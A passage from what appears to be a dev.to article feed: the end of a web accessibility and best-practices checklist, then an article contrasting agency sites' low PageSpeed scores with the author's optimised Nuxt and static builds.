&lt;strong&gt;Normal text (&amp;lt; 18px):&lt;/strong&gt; 4.5:1 contrast ratio&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Large text (≥ 18px or ≥ 14px bold):&lt;/strong&gt; 3:1 contrast ratio&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UI components:&lt;/strong&gt; 3:1 contrast ratio&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Links require special attention.&lt;/strong&gt; Color alone isn't sufficient to distinguish links from surrounding text. Use underlines or other visual indicators.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing:&lt;/strong&gt; Chrome DevTools → Inspect element → Accessibility tab shows contrast ratios. Or use &lt;a href="https://webaim.org/resources/contrastchecker/" rel="noopener noreferrer"&gt;WebAIM Contrast Checker&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Image Alt Text
&lt;/h3&gt;

&lt;p&gt;Every image needs an &lt;code&gt;alt&lt;/code&gt; attribute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Meaningful image: describe the content --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"team-photo.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Team at the 2025 developer conference"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Decorative image: use empty alt (not missing) --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"decorative-line.svg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common mistakes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Missing alt attributes entirely (fails audit)&lt;/li&gt;
&lt;li&gt;Using "image of..." prefix (redundant)&lt;/li&gt;
&lt;li&gt;Empty alt on meaningful images&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Form Accessibility
&lt;/h3&gt;

&lt;p&gt;Every input needs an associated label:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Correct: label linked via 'for' attribute --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email Address&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Interactive Elements
&lt;/h3&gt;

&lt;p&gt;Icon-only buttons need ARIA labels:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Icon button: needs aria-label --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;aria-label=&lt;/span&gt;&lt;span class="s"&gt;"Open menu"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;svg&amp;gt;&lt;/span&gt;&lt;span class="c"&gt;&amp;lt;!-- hamburger icon --&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Decorative icons: hide from screen readers --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;aria-hidden=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;★&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; 4.8 rating
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Keyboard navigation:&lt;/strong&gt; All interactive elements must be reachable via Tab key. Focus indicators must be visible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Best Practices: Security and Standards
&lt;/h2&gt;

&lt;p&gt;Best Practices covers security, modern web standards, and technical correctness. Most failures here are easy to fix.&lt;/p&gt;

&lt;h3&gt;
  
  
  HTTPS Everywhere
&lt;/h3&gt;

&lt;p&gt;Serve all content over HTTPS. No mixed content (HTTP resources on HTTPS pages).&lt;/p&gt;

&lt;h3&gt;
  
  
  Safe External Links
&lt;/h3&gt;

&lt;p&gt;External links should use &lt;code&gt;rel="noopener"&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://external-site.com"&lt;/span&gt; &lt;span class="na"&gt;target=&lt;/span&gt;&lt;span class="s"&gt;"_blank"&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"noopener"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  External Link
&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prevents the external page from accessing your &lt;code&gt;window.opener&lt;/code&gt; object—a security vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  No Console Errors
&lt;/h3&gt;

&lt;p&gt;Open DevTools Console before deploying. Fix all errors. Common culprits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Missing resources (404s)&lt;/li&gt;
&lt;li&gt;JavaScript errors&lt;/li&gt;
&lt;li&gt;Deprecated API warnings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Zero tolerance:&lt;/strong&gt; Any console error can fail the Best Practices audit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Image Aspect Ratios
&lt;/h3&gt;

&lt;p&gt;Images need explicit dimensions to prevent layout shift:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"photo.jpg"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"800"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Description"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Modern Standards
&lt;/h3&gt;

&lt;p&gt;Avoid deprecated APIs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;fetch()&lt;/code&gt; instead of &lt;code&gt;XMLHttpRequest&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;addEventListener()&lt;/code&gt; instead of inline &lt;code&gt;onclick&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;document.write()&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Icons and Favicons
&lt;/h2&gt;

&lt;p&gt;The finishing touches:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Required files:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;favicon.ico&lt;/code&gt; (32×32, legacy browsers)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;favicon.svg&lt;/code&gt; (scalable, modern browsers)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;apple-touch-icon.png&lt;/code&gt; (180×180, iOS)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;icon-192.png&lt;/code&gt; and &lt;code&gt;icon-512.png&lt;/code&gt; (Android, PWA)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;HTML tags:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"icon"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/favicon.ico"&lt;/span&gt; &lt;span class="na"&gt;sizes=&lt;/span&gt;&lt;span class="s"&gt;"32x32"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"icon"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/favicon.svg"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"image/svg+xml"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"apple-touch-icon"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/apple-touch-icon.png"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"manifest"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/manifest.json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://realfavicongenerator.net/" rel="noopener noreferrer"&gt;RealFaviconGenerator.net&lt;/a&gt; generates all sizes from one image.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Complete Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Performance&lt;/strong&gt; (covered in Articles 1 &amp;amp; 2):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Critical CSS inlining&lt;/li&gt;
&lt;li&gt;✅ AVIF/WebP images with explicit dimensions&lt;/li&gt;
&lt;li&gt;✅ Deferred JavaScript loading&lt;/li&gt;
&lt;li&gt;✅ Zero layout shift&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SEO:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ robots.txt and sitemap.xml&lt;/li&gt;
&lt;li&gt;✅ Title, description, canonical URL&lt;/li&gt;
&lt;li&gt;✅ Open Graph and Twitter meta tags&lt;/li&gt;
&lt;li&gt;✅ Structured data (JSON-LD)&lt;/li&gt;
&lt;li&gt;✅ Google Search Console verification&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Accessibility:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Semantic HTML landmarks (&lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;✅ Proper heading hierarchy (single h1, no skipped levels)&lt;/li&gt;
&lt;li&gt;✅ WCAG color contrast (4.5:1 for text)&lt;/li&gt;
&lt;li&gt;✅ Alt text on all images&lt;/li&gt;
&lt;li&gt;✅ Form labels properly associated&lt;/li&gt;
&lt;li&gt;✅ ARIA labels for icon buttons&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best Practices:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ HTTPS everywhere&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;rel="noopener"&lt;/code&gt; on external links&lt;/li&gt;
&lt;li&gt;✅ Zero console errors&lt;/li&gt;
&lt;li&gt;✅ Explicit image dimensions&lt;/li&gt;
&lt;li&gt;✅ No deprecated APIs&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Expert Take
&lt;/h2&gt;

&lt;p&gt;On every demo in my portfolio, SEO, Accessibility, and Best Practices hit 100/100. Performance usually does too, though it occasionally dips a few points on mobile due to framework overhead or CDN scripts. You can verify this yourself—click "PageSpeed Me" on any of our sites at &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;codecrank.ai&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time investment:&lt;/strong&gt; First-time setup takes 4-6 hours. Once you know the patterns, subsequent sites take 1-2 hours.&lt;/p&gt;

&lt;p&gt;Most agencies don't publish their Lighthouse scores. I put a verification button on every site I build. The work should speak for itself.&lt;/p&gt;

&lt;p&gt;My side business &lt;a href="https://dctsoft.com" rel="noopener noreferrer"&gt;DCTSoft&lt;/a&gt; builds custom websites for small businesses in record time, implementing all these techniques and often achieving perfect scores across the board.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This completes my PageSpeed series. For performance optimization techniques, see &lt;a href="https://dev.to/danieltofan/how-to-achieve-100100-on-pagespeed-insights-39e9" rel="noopener"&gt;How to Achieve 100/100 on PageSpeed&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>seo</category>
      <category>a11y</category>
      <category>webperf</category>
    </item>
    <item>
      <title>Why Professional Websites Score 30-50/100 on PageSpeed</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 01 Dec 2025 16:10:31 +0000</pubDate>
      <link>https://dev.to/danieltofan/why-professional-websites-score-30-50100-on-pagespeed-4ap1</link>
      <guid>https://dev.to/danieltofan/why-professional-websites-score-30-50100-on-pagespeed-4ap1</guid>
      <description>&lt;p&gt;In &lt;a href="https://dev.to/danieltofan/how-to-achieve-100100-on-pagespeed-insights-39e9"&gt;my previous article&lt;/a&gt;, I explained the techniques for achieving 100/100 on PageSpeed Insights—critical CSS inlining, modern image formats, eliminating render-blocking resources, and preventing layout shift.&lt;/p&gt;

&lt;p&gt;These techniques aren't new or secret. They're documented, proven, and freely available.&lt;/p&gt;

&lt;p&gt;So why do most professional websites ignore them?&lt;/p&gt;

&lt;p&gt;After examining multiple agency portfolios and client sites over the past few months, I've found a consistent pattern. This article presents real performance data, explains why this gap exists, and demonstrates what different approaches actually deliver.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does $5,000 buy in web development?
&lt;/h2&gt;

&lt;p&gt;A friend recently showed me his new medical practice website. He paid $5,000 to a professional agency, spent months in back-and-forth communication, and received a visually appealing design. Out of curiosity, I ran PageSpeed Insights.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;40/100 on mobile.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The site takes 20.2 seconds to fully load on a simulated mobile connection. For context, Google recommends under 2.5 seconds.&lt;/p&gt;

&lt;p&gt;Then I checked the agency's own website to understand their typical performance standards.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;36/100.&lt;/strong&gt; This wasn't an anomaly—it was their baseline.&lt;/p&gt;

&lt;p&gt;This experience prompted me to examine other professional web development work. What I found wasn't unique to this one agency.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pattern across the industry
&lt;/h2&gt;

&lt;p&gt;After analyzing sites from multiple professional agencies, a consistent pattern emerged. These aren't cherry-picked examples—they represent typical output from established businesses charging professional rates.&lt;/p&gt;

&lt;h3&gt;
  
  
  Medical Practice #1: 28/100 (39-second load time)
&lt;/h3&gt;

&lt;p&gt;A physician's website built by a local IT company offering web development services:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Performance Score:&lt;/strong&gt; 28/100&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Largest Contentful Paint:&lt;/strong&gt; 39.1 seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Total Blocking Time:&lt;/strong&gt; 1,980ms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technology:&lt;/strong&gt; WordPress with outdated plugins&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issues:&lt;/strong&gt; 10 render-blocking resources, unoptimized images&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Patients wait 39 seconds to see the main content. For a medical professional whose reputation depends on trust and competence, this creates an immediate credibility problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Professional Services: 34/100 mobile (platform limitation)
&lt;/h3&gt;

&lt;p&gt;A CPA's website built on a popular website builder platform:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mobile Score:&lt;/strong&gt; 34/100 (what Google actually uses for rankings)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Desktop Score:&lt;/strong&gt; 68/100 (misleadingly acceptable)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Largest Contentful Paint:&lt;/strong&gt; 7.4 seconds on mobile&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Total Blocking Time:&lt;/strong&gt; 2,960ms (3 seconds of frozen page)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Page Weight:&lt;/strong&gt; 6.5MB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The desktop score looks mediocre but passable. The mobile score—the one Google uses for search rankings—is catastrophic. And here's the critical insight: &lt;strong&gt;this platform physically cannot achieve 90+ scores&lt;/strong&gt;. The underlying architecture loads 2MB of JavaScript regardless of what the site owner does.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dental Practice: 64/100 with broken functionality
&lt;/h3&gt;

&lt;p&gt;A dentist's website from the same IT company:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Performance Score:&lt;/strong&gt; 64/100&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;First Contentful Paint:&lt;/strong&gt; 5.5 seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issues:&lt;/strong&gt; Broken navigation links, no online booking, outdated 2015 jQuery&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Six empty frames:&lt;/strong&gt; Users see a blank screen for 5+ seconds&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Beyond the performance problems, basic functionality was broken. Links to "Cosmetic Dentistry" and "Invisalign" led nowhere. This represents a website that was built and abandoned.&lt;/p&gt;

&lt;h3&gt;
  
  
  The mobile reality
&lt;/h3&gt;

&lt;p&gt;Desktop scores often appear acceptable (60-70 range) while mobile scores are significantly worse (28-40 range). This matters because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Google uses mobile scores for search rankings&lt;/strong&gt; (since 2019)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;70%+ of web traffic is mobile&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Most agencies test on desktop development machines&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A site scoring 68/100 on desktop might score 34/100 on mobile—and mobile is what determines your Google ranking.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does poor performance actually cost?
&lt;/h2&gt;

&lt;p&gt;Before examining why this happens, let's quantify the business impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conversion losses
&lt;/h3&gt;

&lt;p&gt;Google's research documents that 53% of mobile users abandon sites taking longer than 3 seconds to load. Their data also shows that as load time increases from 1 to 3 seconds, bounce probability increases by 32%.&lt;/p&gt;

&lt;p&gt;For a small business with 10,000 monthly visitors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fast site (2 seconds):&lt;/strong&gt; ~300 conversions/month&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Slow site (8 seconds):&lt;/strong&gt; ~210 conversions/month&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's 90 lost conversions monthly. At $100 average transaction value, that represents &lt;strong&gt;$108,000/year&lt;/strong&gt; in lost revenue.&lt;/p&gt;

&lt;h3&gt;
  
  
  SEO compound effect
&lt;/h3&gt;

&lt;p&gt;Core Web Vitals became Google ranking factors in 2021. Poor performance means lower rankings, which means less traffic, which means fewer conversions. The disadvantage compounds over time while competitors with faster sites capture the traffic you're losing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Brand perception
&lt;/h3&gt;

&lt;p&gt;A slow website signals something about attention to detail. Users form impressions about business quality based on website performance—often unconsciously. The 39-second medical site doesn't just lose the immediate conversion; it loses potential lifetime customer value.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why does this performance gap exist?
&lt;/h2&gt;

&lt;p&gt;This pattern isn't about competence. It's about business models, tooling choices, and economic incentives.&lt;/p&gt;

&lt;h3&gt;
  
  
  The page builder economics
&lt;/h3&gt;

&lt;p&gt;Many agencies use WordPress with Divi or Elementor, or platforms like Wix and Squarespace, because it's economically efficient:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fast to build:&lt;/strong&gt; Templates provide professional appearance quickly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client-editable:&lt;/strong&gt; Clients can make content updates themselves&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Familiar:&lt;/strong&gt; Agencies already know the tools&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, these tools have inherent performance costs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;500KB+ CSS/JavaScript&lt;/strong&gt; loaded on every page (mostly unused)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inline styles&lt;/strong&gt; for every element (bloats HTML significantly)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plugin accumulation&lt;/strong&gt; (each feature adds overhead)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Platform limitations&lt;/strong&gt; (some tools cannot optimize beyond 70-80/100)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result: 3-5MB page weights for sites that could be 300KB.&lt;/p&gt;

&lt;h3&gt;
  
  
  The testing gap
&lt;/h3&gt;

&lt;p&gt;Many agencies preview sites on fast development machines where everything appears responsive. Without mobile testing using CPU throttling, without PageSpeed audits during development, performance issues only become apparent to end users.&lt;/p&gt;

&lt;p&gt;What renders instantly on a developer's MacBook Pro often struggles on a mid-range Android phone over 4G.&lt;/p&gt;

&lt;h3&gt;
  
  
  A different approach
&lt;/h3&gt;

&lt;p&gt;We optimize for different priorities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Static site architecture:&lt;/strong&gt; No WordPress overhead, no plugin complexity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Performance-first development:&lt;/strong&gt; Optimization techniques built in from the start&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modern tooling:&lt;/strong&gt; Automated image optimization, critical CSS extraction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Testing protocol:&lt;/strong&gt; Mobile testing with throttling, PageSpeed audits on every build&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The difference isn't magic—it's prioritizing technical fundamentals from the beginning.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Nuxt achievement: when heavy frameworks perform
&lt;/h2&gt;

&lt;p&gt;Static HTML sites can achieve perfect scores relatively easily—there's minimal JavaScript, simple CSS, fast rendering. But what about real web applications with dynamic functionality?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://ky.homejourney.app" rel="noopener noreferrer"&gt;HomeJourney&lt;/a&gt;, a Kentucky first-time homebuyer education platform, demonstrates what disciplined optimization achieves with a heavier framework:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Performance Score:&lt;/strong&gt; 100/100 desktop, 99/100 mobile&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;First Contentful Paint:&lt;/strong&gt; 0.3 seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Largest Contentful Paint:&lt;/strong&gt; 0.5 seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Total Blocking Time:&lt;/strong&gt; 0ms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cumulative Layout Shift:&lt;/strong&gt; 0&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technology:&lt;/strong&gt; Nuxt 4 + custom CSS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These numbers represent near-instantaneous loading. For context, the human eye takes approximately 0.1 seconds to blink. This site fully renders in less time than three blinks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this matters
&lt;/h3&gt;

&lt;p&gt;Nuxt is not a lightweight framework. It includes Vue.js, a rendering engine, routing, and significant JavaScript. Achieving sub-second performance requires intentional optimization:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical CSS inlining:&lt;/strong&gt; Approximately 5KB of above-the-fold styles are embedded directly in the HTML head. The browser renders meaningful content immediately—no waiting for external stylesheet downloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static site generation:&lt;/strong&gt; Pages are pre-rendered at build time. Users receive complete HTML, not JavaScript that builds the page in the browser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edge deployment:&lt;/strong&gt; Cloudflare's global network serves pages from locations physically close to users, reducing latency to milliseconds.&lt;/p&gt;

&lt;p&gt;The result proves that framework choice doesn't determine performance—implementation discipline does. A Nuxt site can outperform a static HTML site built without optimization.&lt;/p&gt;




&lt;h2&gt;
  
  
  The mobile 100 reality
&lt;/h2&gt;

&lt;p&gt;I want to be direct about something: achieving 100/100 on mobile with dynamic frameworks is genuinely difficult, and sometimes the last point isn't worth chasing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why mobile is harder
&lt;/h3&gt;

&lt;p&gt;Mobile devices have slower processors and constrained network connections. JavaScript that executes in 50ms on a desktop MacBook might take 200ms on a mid-range Android phone. Every framework has some JavaScript overhead—React, Vue, Svelte, all of them.&lt;/p&gt;

&lt;p&gt;Static HTML sites with zero JavaScript can achieve 100/100 mobile consistently. Dynamic sites with interactivity face inherent trade-offs.&lt;/p&gt;

&lt;h3&gt;
  
  
  What matters more than the number
&lt;/h3&gt;

&lt;p&gt;HomeJourney scores 99/100 on mobile. That missing point comes from CSS required for the desktop experience—specifically, styles that prevent layout shift on larger screens. It's a deliberate trade-off: we could squeeze out one more point by removing desktop-optimized CSS, but that would degrade the experience for desktop users.&lt;/p&gt;

&lt;p&gt;And desktop is where it matters most for this application. Consider what 100/100 delivers there:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;0.3s First Contentful Paint&lt;/strong&gt; (users see content almost instantly)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;0.5s Largest Contentful Paint&lt;/strong&gt; (main content visible in half a second)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;0ms Total Blocking Time&lt;/strong&gt; (page remains responsive throughout)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero layout shift&lt;/strong&gt; (nothing jumps around)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are desktop-focused applications where users research, read, and make decisions. The experience is near-instantaneous. Compare this to the industry examples: 34/100, 7.4-second load times, 3-second freezes. The difference in actual user experience is dramatic.&lt;/p&gt;

&lt;p&gt;The honest answer: 96-99/100 with sub-second loading is excellent. Chasing that final point at the cost of functionality or user experience often represents diminishing returns.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to evaluate web development quality
&lt;/h2&gt;

&lt;p&gt;Here's a framework for assessing technical capability before hiring:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Test their own work first
&lt;/h3&gt;

&lt;p&gt;Run PageSpeed Insights on the agency's own website. A developer's own site reveals their priorities clearly.&lt;/p&gt;

&lt;p&gt;If their site scores below 70/100, that likely represents what you'll receive.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Request mobile scores specifically
&lt;/h3&gt;

